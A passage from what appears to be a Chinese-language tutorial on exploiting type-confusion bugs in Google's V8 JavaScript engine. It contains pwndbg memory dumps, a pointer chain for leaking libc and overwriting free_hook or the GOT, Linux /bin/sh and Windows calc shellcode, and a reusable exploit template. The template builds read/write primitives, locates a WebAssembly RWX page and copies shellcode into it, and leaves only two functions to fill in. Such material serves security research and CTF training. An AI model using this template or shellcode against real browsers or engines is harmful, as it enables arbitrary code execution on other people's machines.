13:0098│ 0x1ef08210504 ◂— 0x804030d08085f7d 14:00a0│ 0x1ef0821050c ◂— 0x80406e908086029 15:00a8│ 0x1ef08210514 —▸ 0x1ef00000050 —▸ 0x7ffc9b976990 ◂— 0 16:00b0│ 0x1ef0821051c —▸ 0x55b039645570 —▸ 0x7fe75f96fbe0 (main_arena+96) —▸ 0x55b0396d11d0 ◂— 0 17:00b8│ 0x1ef08210524 —▸ 0x55b039645590 —▸ 0x7fe75f96fbe0 (main_arena+96) —▸ 0x55b0396d11d0 ◂— 0
可以注意到在 wasmInstance+0x68 处保存了内存段的起始地址,读取该处即可
泄露地址手记 目前为止都是通过自定义一部分变量完成地址泄露的,但这个地址只是某个匿名内存段罢了
1 0x271c08040000 0x271c0814d000 rw-p 10d000 0 [anon_271c08040]
因为 WASM 是我们自己定义的,所以还能通过某些方法拿到地址,但如果我们现在不想写 shellcode,想像常规的 PWN 那样去写 free_hook 或者 GOT 表时,该如何泄露地址?
一个是随机泄露,从某个变量随机的往上一个个测试偏移地址,但很显然,在开启了 ASLR 的情况下,效率太低还不稳定,因此主要通过另外一个较为稳定的方式泄露地址:
JSArray结构体–> Map结构体–>constructor结构体–>code属性地址–>code内存地址的固定偏移处保存了 v8 的二进制指令地址–>v8 的 GOT 表–> libc基址:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 pwndbg> job 0x34d808049979 0x34d808049979: [JSArray] - map: 0x34d808203ae1 <Map(PACKED_DOUBLE_ELEMENTS)> [FastProperties] pwndbg> job 0x34d808203ae1 0x34d808203ae1: [Map] - type: JS_ARRAY_TYPE - constructor: 0x34d8081cbe85 <JSFunction Array (sfi = 0x34d80814adc9)> pwndbg> job 0x34d8081cbe85 0x34d8081cbe85: [Function] in OldSpace - map: 0x34d808203a19 <Map(HOLEY_ELEMENTS)> [FastProperties] - code: 0x34d800185501 <Code BUILTIN ArrayConstructor> pwndbg> tel 0x34d800185501-1+0x7EBAB00 30 00:0000│ 0x34d808040000 ◂— 0x40000 01:0008│ 0x34d808040008 ◂— 0x12 02:0010│ 0x34d808040010 —▸ 0x55cca1732560 ◂— 0x0 03:0018│ 0x34d808040018 —▸ 0x34d808042118 ◂— 0x608002205 04:0020│ 0x34d808040020 —▸ 0x34d808080000 ◂— 0x40000 05:0028│ 0x34d808040028 ◂— 0x3dee8 06:0030│ 0x34d808040030 ◂— 0x0 07:0038│ 0x34d808040038 ◂— 0x2118 08:0040│ 0x34d808040040 —▸ 0x55cca17b4258 —▸ 0x55cc9f7a5d20 —▸ 0x55cc9e9ba260 ◂— push rbp pwndbg> vmmap LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA 0x55cc9e121000 0x55cc9e954000 r--p 833000 0 /path/d8 0x55cc9e954000 0x55cc9f793000 r-xp e3f000 832000 /path/d8 0x55cc9f793000 0x55cc9f7fb000 r--p 68000 1670000 /path/d8 0x55cc9f7fb000 0x55cc9f80c000 rw-p 11000 16d7000 /path/d8
可以注意到,顺着这个地址链查下去,最终能找到地址 0x55cc9e9ba260 ,该地址对应了 d8 的二进制程序中的代码地址,而整个 d8 在内存中是连续的,因此可以找到其 GOT 表,然后再从中得到 libc 的机制,最后即可覆盖 free_hook 或 free 的 got 表为 system 或 one gadget
可用的shellcode 在linux环境下,我们测试的时候想执行一下execve(/bin/sh,0,0)
的shellcode,就可以这样:
1 2 3 4 5 6 7 var shellcode = [ 0x2fbb485299583b6an , 0x5368732f6e69622fn , 0x050f5e5457525f54n ]; copy_shellcode_to_rwx (shellcode, rwx_page_addr);f ();
如果想执行windows的弹计算器的shellcode,代码只需要改shellcode变量的值就好了,其他的就不用修改了:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 var shellcode = [ 0xc0e8f0e48348fcn , 0x5152504151410000n , 0x528b4865d2314856n , 0x528b4818528b4860n , 0xb70f4850728b4820n , 0xc03148c9314d4a4an , 0x41202c027c613cacn , 0xede2c101410dc9c1n , 0x8b20528b48514152n , 0x88808bd001483c42n , 0x6774c08548000000n , 0x4418488b50d00148n , 0x56e3d0014920408bn , 0x4888348b41c9ff48n , 0xc03148c9314dd601n , 0xc101410dc9c141acn , 0x244c034cf175e038n , 0x4458d875d1394508n , 0x4166d0014924408bn , 0x491c408b44480c8bn , 0x14888048b41d001n , 0x5a595e58415841d0n , 0x83485a4159415841n , 0x4158e0ff524120ecn , 0xff57e9128b485a59n , 0x1ba485dffffn , 0x8d8d480000000000n , 0x8b31ba4100000101n , 0xa2b5f0bbd5ff876fn , 0xff9dbd95a6ba4156n , 0x7c063c28c48348d5n , 0x47bb0575e0fb800an , 0x894159006a6f7213n , 0x2e636c6163d5ffdan , 0x657865n , ]; copy_shellcode_to_rwx (shellcode, rwx_page_addr);f ();
在上面的示例代码中,出现了几个没说明的函数,以下是这几个函数的代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 var f64 = new Float64Array (1 );var bigUint64 = new BigUint64Array (f64.buffer );var u32 = new Uint32Array (f64.buffer );function ftoi (f ){ f64[0 ] = f; return bigUint64[0 ]; } function itof (i ){ bigUint64[0 ] = i; return f64[0 ]; } function u2d (lo, hi ) { u32[0 ] = lo; u32[1 ] = hi; return f64[0 ]; } function d2u (v ) { f64[0 ] = v; return u32; }
因为在上述思路中,都是使用浮点型数组,其值为浮点型,但是浮点型的值我们看着不顺眼,设置值我们也是习惯使用十六进制值。所以需要有ftoi
和itof
来进行浮点型和64bit的整数互相转换。
但是因为在新版的v8中,有压缩高32bit地址的特性,所以还需要u2d
和d2u
两个,把浮点型和32bit整数进行互相转换的函数。
最后还有一个hex
函数,就是方便我们查看值:
1 2 3 4 function hex (i ){ return i.toString (16 ).padStart (8 , "0" ); }
模板 总结 目前在我看来,不说所有v8的漏洞,但是所有类型混淆类的漏洞都能使用同一套模板:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 var wasmCode = new Uint8Array ([0 ,97 ,115 ,109 ,1 ,0 ,0 ,0 ,1 ,133 ,128 ,128 ,128 ,0 ,1 ,96 ,0 ,1 ,127 ,3 ,130 ,128 ,128 ,128 ,0 ,1 ,0 ,4 ,132 ,128 ,128 ,128 ,0 ,1 ,112 ,0 ,0 ,5 ,131 ,128 ,128 ,128 ,0 ,1 ,0 ,1 ,6 ,129 ,128 ,128 ,128 ,0 ,0 ,7 ,145 ,128 ,128 ,128 ,0 ,2 ,6 ,109 ,101 ,109 ,111 ,114 ,121 ,2 ,0 ,4 ,109 ,97 ,105 ,110 ,0 ,0 ,10 ,138 ,128 ,128 ,128 ,0 ,1 ,132 ,128 ,128 ,128 ,0 ,0 ,65 ,42 ,11 ]);var wasmModule = new WebAssembly .Module (wasmCode);var wasmInstance = new WebAssembly .Instance (wasmModule, {});var f = wasmInstance.exports .main ;var f64 = new Float64Array (1 );var bigUint64 = new BigUint64Array (f64.buffer );var u32 = new Uint32Array (f64.buffer );function d2u (v ) { f64[0 ] = v; return u32; } function u2d (lo, hi ) { u32[0 ] = lo; u32[1 ] = hi; return f64[0 ]; } function ftoi (f ){ f64[0 ] = f; return bigUint64[0 ]; } function itof (i ){ bigUint64[0 ] = i; return f64[0 ]; } function hex (i ){ return i.toString (16 ).padStart (8 , "0" ); } function fakeObj (addr_to_fake ){ ? } function addressOf (obj_to_leak ){ ? } function read64 (addr ){ fake_array[1 ] = itof (addr - 0x8n + 0x1n ); return fake_object[0 ]; } function write64 (addr, data ){ fake_array[1 ] = itof (addr - 0x8n + 0x1n ); fake_object[0 ] = itof (data); } function copy_shellcode_to_rwx (shellcode, rwx_addr ){ var data_buf = new ArrayBuffer (shellcode.length * 8 ); var data_view = new DataView (data_buf); var buf_backing_store_addr_lo = addressOf (data_buf) + 0x18n ; var buf_backing_store_addr_up = buf_backing_store_addr_lo + 0x8n ; var lov = d2u (read64 (buf_backing_store_addr_lo))[0 ]; var rwx_page_addr_lo = u2d (lov, d2u (rwx_addr)[0 ]); var hiv = d2u (read64 (buf_backing_store_addr_up))[1 ]; var rwx_page_addr_hi = u2d (d2u (rwx_addr, hiv)[1 ]); var buf_backing_store_addr = ftoi (u2d (lov, hiv)); console .log ("[*] buf_backing_store_addr: 0x" +hex (buf_backing_store_addr)); write64 (buf_backing_store_addr_lo, ftoi (rwx_page_addr_lo)); write64 (buf_backing_store_addr_up, ftoi (rwx_page_addr_hi)); for (let i = 0 ; i < shellcode.length ; ++i) data_view.setFloat64 (i * 8 , itof (shellcode[i]), true ); } var double_array = [1.1 ];var obj = {"a" : 1 };var obj_array = [obj];var array_map = ?;var obj_map = ?;var fake_array = [ array_map, itof (0x4141414141414141n ) ]; fake_array_addr = addressOf (fake_array); console .log ("[*] leak fake_array addr: 0x" + hex (fake_array_addr));fake_object_addr = fake_array_addr - 0x10n ; var fake_object = fakeObj (fake_object_addr);var wasm_instance_addr = addressOf (wasmInstance);console .log ("[*] leak wasm_instance addr: 0x" + hex (wasm_instance_addr));var rwx_page_addr = read64 (wasm_instance_addr + 0x68n );console .log ("[*] leak rwx_page_addr: 0x" + hex (ftoi (rwx_page_addr)));var shellcode = [ 0x2fbb485299583b6an , 0x5368732f6e69622fn , 0x050f5e5457525f54n ]; copy_shellcode_to_rwx (shellcode, rwx_page_addr);f ();
其中打问号的地方,需要根据具体情况来编写,然后就是有些偏移需要根据v8版本情况进行修改,但是主体结构基本雷同。
之后的文章中,打算把我最近研究复现的几个漏洞,套进这个模板中,来进行讲解。